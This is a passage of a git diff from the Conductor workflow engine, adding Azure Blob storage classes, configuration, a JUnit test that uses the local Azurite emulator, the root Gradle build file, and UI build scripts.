+ + public void setEndpoint(String endpoint) { + this.endpoint = endpoint; + } + + public String getSasToken() { + return sasToken; + } + + public void setSasToken(String sasToken) { + this.sasToken = sasToken; + } + + public Duration getSignedUrlExpirationDuration() { + return signedUrlExpirationDuration; + } + + public void setSignedUrlExpirationDuration(Duration signedUrlExpirationDuration) { + this.signedUrlExpirationDuration = signedUrlExpirationDuration; + } + + public String getWorkflowInputPath() { + return workflowInputPath; + } + + public void setWorkflowInputPath(String workflowInputPath) { + this.workflowInputPath = workflowInputPath; + } + + public String getWorkflowOutputPath() { + return workflowOutputPath; + } + + public void setWorkflowOutputPath(String workflowOutputPath) { + this.workflowOutputPath = workflowOutputPath; + } + + public String getTaskInputPath() { + return taskInputPath; + } + + public void setTaskInputPath(String taskInputPath) { + this.taskInputPath = taskInputPath; + } + + public String getTaskOutputPath() { + return taskOutputPath; + } + + public void setTaskOutputPath(String taskOutputPath) { + this.taskOutputPath = taskOutputPath; + } +} diff --git a/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorage.java b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorage.java new file mode 100644 index 0000000..6d1ead9 --- /dev/null +++ b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorage.java @@ -0,0 +1,230 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.azureblob.storage; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.io.UncheckedIOException; +import java.time.OffsetDateTime; +import java.time.ZoneOffset; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.azureblob.config.AzureBlobProperties; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.IDGenerator; + +import com.azure.core.exception.UnexpectedLengthException; +import com.azure.core.util.Context; +import com.azure.storage.blob.BlobContainerClient; +import com.azure.storage.blob.BlobContainerClientBuilder; +import com.azure.storage.blob.models.BlobHttpHeaders; +import com.azure.storage.blob.models.BlobStorageException; +import com.azure.storage.blob.sas.BlobSasPermission; +import com.azure.storage.blob.sas.BlobServiceSasSignatureValues; +import com.azure.storage.blob.specialized.BlockBlobClient; +import com.azure.storage.common.Utility; +import com.azure.storage.common.implementation.credentials.SasTokenCredential; + +/** + * An implementation of {@link ExternalPayloadStorage} using Azure Blob for storing large JSON + * payload data. + * + * @see Azure Java SDK + */ +public class AzureBlobPayloadStorage implements ExternalPayloadStorage { + + private static final Logger LOGGER = LoggerFactory.getLogger(AzureBlobPayloadStorage.class); + private static final String CONTENT_TYPE = "application/json"; + + private final IDGenerator idGenerator; + private final String workflowInputPath; + private final String workflowOutputPath; + private final String taskInputPath; + private final String taskOutputPath; + + private final BlobContainerClient blobContainerClient; + private final long expirationSec; + private final SasTokenCredential sasTokenCredential; + + public AzureBlobPayloadStorage(IDGenerator idGenerator, AzureBlobProperties properties) { + this.idGenerator = idGenerator; + workflowInputPath = properties.getWorkflowInputPath(); + workflowOutputPath = properties.getWorkflowOutputPath(); + taskInputPath = properties.getTaskInputPath(); + taskOutputPath = properties.getTaskOutputPath(); + expirationSec = properties.getSignedUrlExpirationDuration().getSeconds(); + String connectionString = properties.getConnectionString(); + String containerName = properties.getContainerName(); + String endpoint = properties.getEndpoint(); + String sasToken = properties.getSasToken(); + + BlobContainerClientBuilder blobContainerClientBuilder = new BlobContainerClientBuilder(); + if (connectionString != null) { + blobContainerClientBuilder.connectionString(connectionString); + sasTokenCredential = null; + } else if (endpoint != null) { + blobContainerClientBuilder.endpoint(endpoint); + if (sasToken != null) { + sasTokenCredential = SasTokenCredential.fromSasTokenString(sasToken); + blobContainerClientBuilder.sasToken(sasTokenCredential.getSasToken()); + } else { + sasTokenCredential = null; + } + } else { + String msg = "Missing property for connectionString OR endpoint"; + LOGGER.error(msg); + throw new NonTransientException(msg); + } + blobContainerClient = blobContainerClientBuilder.containerName(containerName).buildClient(); + } + + /** + * @param operation the type of {@link Operation} to be performed + * @param payloadType the {@link PayloadType} that is being accessed + * @return a {@link ExternalStorageLocation} object which contains the pre-signed URL and the + * azure blob name for the json payload + */ + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path) { + try { + ExternalStorageLocation externalStorageLocation = new ExternalStorageLocation(); + + String objectKey; + if (StringUtils.isNotBlank(path)) { + objectKey = path; + } else { + objectKey = getObjectKey(payloadType); + } + externalStorageLocation.setPath(objectKey); + + BlockBlobClient blockBlobClient = + blobContainerClient.getBlobClient(objectKey).getBlockBlobClient(); + String blobUrl = Utility.urlDecode(blockBlobClient.getBlobUrl()); + + if (sasTokenCredential != null) { + blobUrl = blobUrl + "?" + sasTokenCredential.getSasToken(); + } else { + BlobSasPermission blobSASPermission = new BlobSasPermission(); + if (operation.equals(Operation.READ)) { + blobSASPermission.setReadPermission(true); + } else if (operation.equals(Operation.WRITE)) { + blobSASPermission.setWritePermission(true); + blobSASPermission.setCreatePermission(true); + } + BlobServiceSasSignatureValues blobServiceSasSignatureValues = + new BlobServiceSasSignatureValues( + OffsetDateTime.now(ZoneOffset.UTC).plusSeconds(expirationSec), + blobSASPermission); + blobUrl = + blobUrl + "?" + blockBlobClient.generateSas(blobServiceSasSignatureValues); + } + + externalStorageLocation.setUri(blobUrl); + return externalStorageLocation; + } catch (BlobStorageException e) { + String msg = "Error communicating with Azure"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + } + + /** + * Uploads the payload to the given azure blob name. It is expected that the caller retrieves + * the blob name using {@link #getLocation(Operation, PayloadType, String)} before making this + * call. + * + * @param path the name of the blob to be uploaded + * @param payload an {@link InputStream} containing the json payload which is to be uploaded + * @param payloadSize the size of the json payload in bytes + */ + @Override + public void upload(String path, InputStream payload, long payloadSize) { + try { + BlockBlobClient blockBlobClient = + blobContainerClient.getBlobClient(path).getBlockBlobClient(); + BlobHttpHeaders blobHttpHeaders = new BlobHttpHeaders().setContentType(CONTENT_TYPE); + blockBlobClient.uploadWithResponse( + payload, + payloadSize, + blobHttpHeaders, + null, + null, + null, + null, + null, + Context.NONE); + } catch (BlobStorageException | UncheckedIOException | UnexpectedLengthException e) { + String msg = "Error communicating with Azure"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + } + + /** + * Downloads the payload stored in an azure blob. + * + * @param path the path of the blob + * @return an input stream containing the contents of the object Caller is expected to close the + * input stream. + */ + @Override + public InputStream download(String path) { + try { + BlockBlobClient blockBlobClient = + blobContainerClient.getBlobClient(path).getBlockBlobClient(); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + // Avoid another call to the api to get the blob size + // ByteArrayOutputStream outputStream = new + // ByteArrayOutputStream(blockBlobClient.getProperties().value().blobSize()); + blockBlobClient.download(outputStream); + return new ByteArrayInputStream(outputStream.toByteArray()); + } catch (BlobStorageException | UncheckedIOException | NullPointerException e) { + String msg = "Error communicating with Azure"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + } + + /** + * Build path on external storage. Copied from S3PayloadStorage. + * + * @param payloadType the {@link PayloadType} which will determine the base path of the object + * @return External Storage path + */ + private String getObjectKey(PayloadType payloadType) { + StringBuilder stringBuilder = new StringBuilder(); + switch (payloadType) { + case WORKFLOW_INPUT: + stringBuilder.append(workflowInputPath); + break; + case WORKFLOW_OUTPUT: + stringBuilder.append(workflowOutputPath); + break; + case TASK_INPUT: + stringBuilder.append(taskInputPath); + break; + case TASK_OUTPUT: + stringBuilder.append(taskOutputPath); + break; + } + stringBuilder.append(idGenerator.generate()).append(".json"); + return stringBuilder.toString(); + } +} diff --git a/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageConfiguration.java b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageConfiguration.java new file mode 100644 index 0000000..b9de6cc --- /dev/null +++ b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageConfiguration.java @@ -0,0 +1,52 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.azureblob.config; + +import org.conductoross.conductor.azureblob.storage.AzureBlobFileStorage; +import org.conductoross.conductor.core.storage.FileStorage; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.utils.IDGenerator; + +import com.azure.storage.blob.BlobServiceClient; +import com.azure.storage.blob.BlobServiceClientBuilder; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(AzureBlobFileStorageProperties.class) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class AzureBlobFileStorageConfiguration { + + @Bean(name = "fileStorageBlobServiceClient") + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "azure-blob") + public BlobServiceClient fileStorageBlobServiceClient( + AzureBlobFileStorageProperties properties) { + return new BlobServiceClientBuilder() + .connectionString(properties.getConnectionString()) + .buildClient(); + } + + @Bean + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "azure-blob") + public FileStorage azureBlobFileStorage( + IDGenerator idGenerator, + AzureBlobFileStorageProperties properties, + @Qualifier("fileStorageBlobServiceClient") BlobServiceClient blobServiceClient) { + return new AzureBlobFileStorage( + idGenerator, + blobServiceClient.getBlobContainerClient(properties.getContainerName())); + } +} diff --git a/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageProperties.java b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageProperties.java new file mode 100644 index 0000000..aa16410 --- /dev/null +++ b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageProperties.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.azureblob.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.file-storage.azure-blob") +public class AzureBlobFileStorageProperties { + + private String containerName; + private String connectionString; + + public String getContainerName() { + return containerName; + } + + public void setContainerName(String containerName) { + this.containerName = containerName; + } + + public String getConnectionString() { + return connectionString; + } + + public void setConnectionString(String connectionString) { + this.connectionString = connectionString; + } +} diff --git a/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/storage/AzureBlobFileStorage.java b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/storage/AzureBlobFileStorage.java new file mode 100644 index 0000000..61b50fe --- /dev/null +++ b/azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/storage/AzureBlobFileStorage.java @@ -0,0 +1,105 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.azureblob.storage; + +import java.time.Duration; +import java.time.OffsetDateTime; +import java.util.List; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.core.storage.StorageFileInfo; +import org.conductoross.conductor.model.file.StorageType; + +import com.netflix.conductor.core.utils.IDGenerator; + +import com.azure.storage.blob.BlobContainerClient; +import com.azure.storage.blob.models.BlobProperties; +import com.azure.storage.blob.sas.BlobContainerSasPermission; +import com.azure.storage.blob.sas.BlobServiceSasSignatureValues; +import com.azure.storage.blob.specialized.BlockBlobClient; + +public class AzureBlobFileStorage implements FileStorage { + + private final BlobContainerClient containerClient; + private final IDGenerator idGenerator; + + public AzureBlobFileStorage(IDGenerator idGenerator, BlobContainerClient blobContainerClient) { + this.idGenerator = idGenerator; + this.containerClient = blobContainerClient; + } + + @Override + public StorageType getStorageType() { + return StorageType.AZURE_BLOB; + } + + @Override + public String generateUploadUrl(String storagePath, Duration expiration) { + return generateSasUrl(storagePath, expiration, true); + } + + @Override + public String generateDownloadUrl(String storagePath, Duration expiration) { + return generateSasUrl(storagePath, expiration, false); + } + + @Override + public StorageFileInfo getStorageFileInfo(String storagePath) { + try { + BlobProperties props = containerClient.getBlobClient(storagePath).getProperties(); + StorageFileInfo info = new StorageFileInfo(); + info.setExists(true); + byte[] md5 = props.getContentMd5(); + info.setContentHash( + md5 != null ? java.util.Base64.getEncoder().encodeToString(md5) : null); + info.setContentSize(props.getBlobSize()); + return info; + } catch (Exception e) { + return null; + } + } + + @Override + public String initiateMultipartUpload(String storagePath) { + // Azure uses block IDs — return SAS URL as the "upload ID" + return idGenerator.generate(); + } + + @Override + public String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration) { + return generateSasUrl(storagePath, expiration, true); + } + + @Override + public void completeMultipartUpload( + String storagePath, String uploadId, List partETags) { + BlockBlobClient blockBlobClient = + containerClient.getBlobClient(storagePath).getBlockBlobClient(); + blockBlobClient.commitBlockList(partETags); + } + + private String generateSasUrl(String storagePath, Duration expiration, boolean write) { + BlobContainerSasPermission permission = new BlobContainerSasPermission(); + if (write) { + permission.setWritePermission(true).setCreatePermission(true); + } else { + permission.setReadPermission(true); + } + BlobServiceSasSignatureValues values = + new BlobServiceSasSignatureValues( + OffsetDateTime.now().plus(expiration), permission); + var blobClient = containerClient.getBlobClient(storagePath); + return blobClient.getBlobUrl() + "?" + blobClient.generateSas(values); + } +} diff --git a/azureblob-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/azureblob-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..0e26b08 --- /dev/null +++ b/azureblob-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,14 @@ +{ + "properties": [ + { + "name": "conductor.file-storage.azure-blob.container-name", + "type": "java.lang.String", + "description": "Azure Blob Storage container name where files are stored." + }, + { + "name": "conductor.file-storage.azure-blob.connection-string", + "type": "java.lang.String", + "description": "Azure Storage connection string (DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...;EndpointSuffix=core.windows.net)." + } + ] +} diff --git a/azureblob-storage/src/test/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorageTest.java b/azureblob-storage/src/test/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorageTest.java new file mode 100644 index 0000000..2935f60 --- /dev/null +++ b/azureblob-storage/src/test/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorageTest.java @@ -0,0 +1,158 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.azureblob.storage; + +import java.time.Duration; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.azureblob.config.AzureBlobProperties; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.IDGenerator; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class AzureBlobPayloadStorageTest { + + private AzureBlobProperties properties; + + private IDGenerator idGenerator; + + @Before + public void setUp() { + properties = mock(AzureBlobProperties.class); + idGenerator = new IDGenerator(); + when(properties.getConnectionString()).thenReturn(null); + when(properties.getContainerName()).thenReturn("conductor-payloads"); + when(properties.getEndpoint()).thenReturn(null); + when(properties.getSasToken()).thenReturn(null); + when(properties.getSignedUrlExpirationDuration()).thenReturn(Duration.ofSeconds(5)); + when(properties.getWorkflowInputPath()).thenReturn("workflow/input/"); + when(properties.getWorkflowOutputPath()).thenReturn("workflow/output/"); + when(properties.getTaskInputPath()).thenReturn("task/input"); + when(properties.getTaskOutputPath()).thenReturn("task/output/"); + } + + /** Dummy credentials Azure SDK doesn't work with Azurite since it cleans parameters */ + private final String azuriteConnectionString = + "DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;EndpointSuffix=localhost"; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Test + public void testNoStorageAccount() { + expectedException.expect(NonTransientException.class); + new AzureBlobPayloadStorage(idGenerator, properties); + } + + @Test + public void testUseConnectionString() { + when(properties.getConnectionString()).thenReturn(azuriteConnectionString); + new AzureBlobPayloadStorage(idGenerator, properties); + } + + @Test + public void testUseEndpoint() { + String azuriteEndpoint = "http://127.0.0.1:10000/"; + when(properties.getEndpoint()).thenReturn(azuriteEndpoint); + new AzureBlobPayloadStorage(idGenerator, properties); + } + + @Test + public void testGetLocationFixedPath() { + when(properties.getConnectionString()).thenReturn(azuriteConnectionString); + AzureBlobPayloadStorage azureBlobPayloadStorage = + new AzureBlobPayloadStorage(idGenerator, properties); + String path = "somewhere"; + ExternalStorageLocation externalStorageLocation = + azureBlobPayloadStorage.getLocation( + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT, + path); + assertNotNull(externalStorageLocation); + assertEquals(path, externalStorageLocation.getPath()); + assertNotNull(externalStorageLocation.getUri()); + } + + private void testGetLocation( + AzureBlobPayloadStorage azureBlobPayloadStorage, + ExternalPayloadStorage.Operation operation, + ExternalPayloadStorage.PayloadType payloadType, + String expectedPath) { + ExternalStorageLocation externalStorageLocation = + azureBlobPayloadStorage.getLocation(operation, payloadType, null); + assertNotNull(externalStorageLocation); + assertNotNull(externalStorageLocation.getPath()); + assertTrue(externalStorageLocation.getPath().startsWith(expectedPath)); + assertNotNull(externalStorageLocation.getUri()); + assertTrue(externalStorageLocation.getUri().contains(expectedPath)); + } + + @Test + public void testGetAllLocations() { + when(properties.getConnectionString()).thenReturn(azuriteConnectionString); + AzureBlobPayloadStorage azureBlobPayloadStorage = + new AzureBlobPayloadStorage(idGenerator, properties); + + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT, + properties.getWorkflowInputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT, + properties.getWorkflowOutputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.TASK_INPUT, + properties.getTaskInputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.TASK_OUTPUT, + properties.getTaskOutputPath()); + + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT, + properties.getWorkflowInputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT, + properties.getWorkflowOutputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.TASK_INPUT, + properties.getTaskInputPath()); + testGetLocation( + azureBlobPayloadStorage, + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.TASK_OUTPUT, + properties.getTaskOutputPath()); + } +} diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..0eb7a59 --- /dev/null +++ b/build.gradle @@ -0,0 +1,232 @@ +import org.springframework.boot.gradle.plugin.SpringBootPlugin + +buildscript { + repositories { + mavenCentral() + maven { + url "https://plugins.gradle.org/m2/" + } + } + dependencies { + classpath 'org.springframework.boot:spring-boot-gradle-plugin:3.3.11' + classpath 'com.diffplug.spotless:spotless-plugin-gradle:6.+' + } +} + +plugins { + id 'io.spring.dependency-management' version '1.1.7' + id 'java' + id 'application' + id 'maven-publish' + id 'signing' + id 'java-library' + id "com.diffplug.spotless" version "6.25.0" + id 'org.springframework.boot' version '3.3.5' +} + +// Establish version and status +ext.githubProjectName = rootProject.name // Change if github project name is not the same as the root project's name + +ext["tomcat.version"] = "10.1.54" + +subprojects { + tasks.withType(Javadoc).all { enabled = false } +} + +apply from: "$rootDir/dependencies.gradle" +apply from: "$rootDir/springboot-bom-overrides.gradle" +apply from: "$rootDir/deploy.gradle" + +allprojects { + apply plugin: 'io.spring.dependency-management' + apply plugin: 'java-library' + apply plugin: 'project-report' + apply plugin: 'jacoco' + + java { + toolchain { + languageVersion = JavaLanguageVersion.of(21) + } + } + + sourceCompatibility = JavaVersion.VERSION_21 + targetCompatibility = JavaVersion.VERSION_21 + + group = 'org.conductoross' + + configurations { + all { + exclude group: 'ch.qos.logback', module: 'logback-classic' + exclude group: 'ch.qos.logback', module: 'logback-core' + exclude group: 'org.apache.logging.log4j', module: 'log4j-to-slf4j' + exclude group: 'org.slf4j', module: 'slf4j-log4j12' + + resolutionStrategy.eachDependency { details -> + // Compat: align all com.fasterxml.jackson.* to the same version — mixed versions cause ClassNotFoundException + if (details.requested.group.startsWith('com.fasterxml.jackson.')) { + details.useVersion "2.17.0" + } + // Compat: commons-lang3 3.18.0+ required by Testcontainers/commons-compress + if (details.requested.group == 'org.apache.commons' && details.requested.name == 'commons-lang3') { + details.useVersion "3.18.0" + } + // Security: CVE-2025-12183 — lz4-java minimum patched version + if (details.requested.group == 'org.lz4' && details.requested.name == 'lz4-java') { + details.useVersion '1.8.1' + } + } + // Security: at.yawk.lz4:lz4-java declares Gradle capability org.lz4:lz4-java in its + // module metadata. When lz4-java is upgraded to 1.8.1 (CVE-2025-12183), both modules + // claim the same capability and Gradle can't resolve the conflict automatically. + // Tell Gradle to always prefer the canonical org.lz4 artifact. + resolutionStrategy.capabilitiesResolution.withCapability('org.lz4:lz4-java') { resolution -> + def preferred = resolution.candidates.find { it.id.group == 'org.lz4' } + if (preferred) { + resolution.select(preferred) + } + } + } + } + + repositories { + mavenCentral() + } + + dependencyManagement { + imports { + // dependency versions for the BOM can be found at https://docs.spring.io/spring-boot/docs/3.3.11/reference/htmlsingle/#appendix.dependency-versions + mavenBom(SpringBootPlugin.BOM_COORDINATES) + } + } + + dependencies { + implementation('org.apache.logging.log4j:log4j-core') + implementation('org.apache.logging.log4j:log4j-api') + implementation('org.apache.logging.log4j:log4j-slf4j-impl') + implementation('org.apache.logging.log4j:log4j-jul') + implementation('org.apache.logging.log4j:log4j-web') + implementation "com.fasterxml.jackson.datatype:jackson-datatype-jsr310" + implementation "com.networknt:json-schema-validator:${revJSonSchemaValidator}" + compileOnly 'org.projectlombok:lombok:1.18.42' + + annotationProcessor 'org.projectlombok:lombok:1.18.42' + annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' + + testImplementation('org.springframework.boot:spring-boot-starter-test') + testImplementation('org.springframework.boot:spring-boot-starter-log4j2') + testImplementation 'junit:junit' + testImplementation "org.junit.vintage:junit-vintage-engine" + testAnnotationProcessor 'org.projectlombok:lombok:1.18.42' + + // PINNED (#964): jettison must stay at exactly 1.5.4 — `strictly` prevents both + // downgrade and upgrade. No known compatible higher version has been validated. + implementation('org.codehaus.jettison:jettison') { + version { + strictly '1.5.4' + } + } + implementation('org.apache.tomcat.embed:tomcat-embed-core') + + // Security: minimum version floors for CVE-patched transitive dependencies. + constraints { + implementation('org.apache.tika:tika-core:3.2.2') { + because 'CVE-2025-66516: tika-parser-pdf-module vulnerability' + } + implementation('commons-beanutils:commons-beanutils:1.11.0') { + because 'CVE-2025-48734: PropertyUtilsBean enum suppression' + } + implementation('com.microsoft.sqlserver:mssql-jdbc:12.8.2.jre11') { + because 'CVE-2025-59250: improper input validation' + } + } + } + // processes additional configuration metadata json file as described here + // https://docs.spring.io/spring-boot/docs/2.3.1.RELEASE/reference/html/appendix-configuration-metadata.html#configuration-metadata-additional-metadata + compileJava.inputs.files(processResources) + + test { + useJUnitPlatform() + // Prefer provider auto-detection and ignore user-level forced client strategy pins. + systemProperty 'dockerconfig.source', 'autoIgnoringUserProperties' + testLogging { + events = ["SKIPPED", "FAILED"] + exceptionFormat = "full" + displayGranularity = 1 + showStandardStreams = false + } + } + jacocoTestReport { + reports { + xml.required = true + html.required = true + } + } + test.finalizedBy jacocoTestReport + + bootJar { + enabled = false + } +} + +// all client and their related modules are published with Java 17 compatibility +["annotations", "common", "grpc", "grpc-client"].each { + project(":conductor-$it") { + compileJava { + options.release = 21 + } + } +} + +// Aggregated coverage report across all subprojects. +// Run AFTER tests: ./gradlew build jacocoAggregatedReport +// This task does NOT trigger test execution — it only aggregates existing .exec files. +// Aggregated coverage report across all subprojects. +// Run AFTER tests: ./gradlew build jacocoAggregatedReport +// This task does NOT trigger test execution — it only aggregates existing .exec files. +task jacocoAggregatedReport(type: JacocoReport) { + description = 'Generates an aggregated code coverage report from existing test execution data' + group = 'verification' + + // Need compiled classes for the report, but not test execution + dependsOn subprojects.collect { it.tasks.named('classes') } + + def javaSubprojects = subprojects.findAll { it.plugins.hasPlugin('java') } + additionalSourceDirs.from(javaSubprojects.collect { it.sourceSets.main.allJava }) + sourceDirectories.from(javaSubprojects.collect { it.sourceSets.main.allJava }) + classDirectories.from(javaSubprojects.collect { it.sourceSets.main.output.classesDirs }) + executionData.setFrom(fileTree(dir: rootDir, includes: ['**/build/jacoco/*.exec'])) + + reports { + xml.required = true + html.required = true + html.outputLocation = layout.buildDirectory.dir('reports/jacoco/aggregated') + } +} + +task server { + dependsOn ':conductor-server:bootRun' +} + +configure(allprojects - project(':conductor-grpc')) { + apply plugin: 'com.diffplug.spotless' + + spotless { + java { + googleJavaFormat().aosp() + removeUnusedImports() + importOrder('java', 'javax', 'org', 'com.netflix', '', '\\#com.netflix', '\\#') + licenseHeaderFile("$rootDir/licenseheader.txt") + } + } +} + +['cassandra-persistence', 'core', 'redis-concurrency-limit', 'test-harness'].each { + configure(project(":conductor-$it")) { + spotless { + groovy { + importOrder('java', 'javax', 'org', 'com.netflix', '', '\\#com.netflix', '\\#') + licenseHeaderFile("$rootDir/licenseheader.txt") + } + } + } +} diff --git a/build_ui.sh b/build_ui.sh new file mode 100755 index 0000000..6440110 --- /dev/null +++ b/build_ui.sh @@ -0,0 +1,11 @@ +cd ui +pwd +export REACT_APP_ENABLE_ERRORS_INSPECTOR=true +export REACT_APP_MONACO_EDITOR_USING_CDN=true +yarn install +yarn build +echo "Done building UI, copying the UI files to server" +cd .. +pwd +rm -rf server/src/main/resources/static/* +cp -r ui/build/ server/src/main/resources/static \ No newline at end of file diff --git a/build_ui_next.sh b/build_ui_next.sh new file mode 100755 index 0000000..5b6ff70 --- /dev/null +++ b/build_ui_next.sh @@ -0,0 +1,16 @@ +#!/bin/sh +# Build ui-next and copy assets into the server resource directories. +# This is the ui-next equivalent of build_ui.sh — the original build_ui.sh +# (which builds ui/ with yarn) is left unchanged. +set -e + +cd ui-next +pwd +pnpm install +pnpm build +echo "Done building ui-next, copying dist to server" +cd .. +pwd +mkdir -p server/src/main/resources/static +rm -rf server/src/main/resources/static/* +cp -r ui-next/dist/. server/src/main/resources/static/ diff --git a/cassandra-persistence/build.gradle b/cassandra-persistence/build.gradle new file mode 100644 index 0000000..37af4f5 --- /dev/null +++ b/cassandra-persistence/build.gradle @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor authors + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

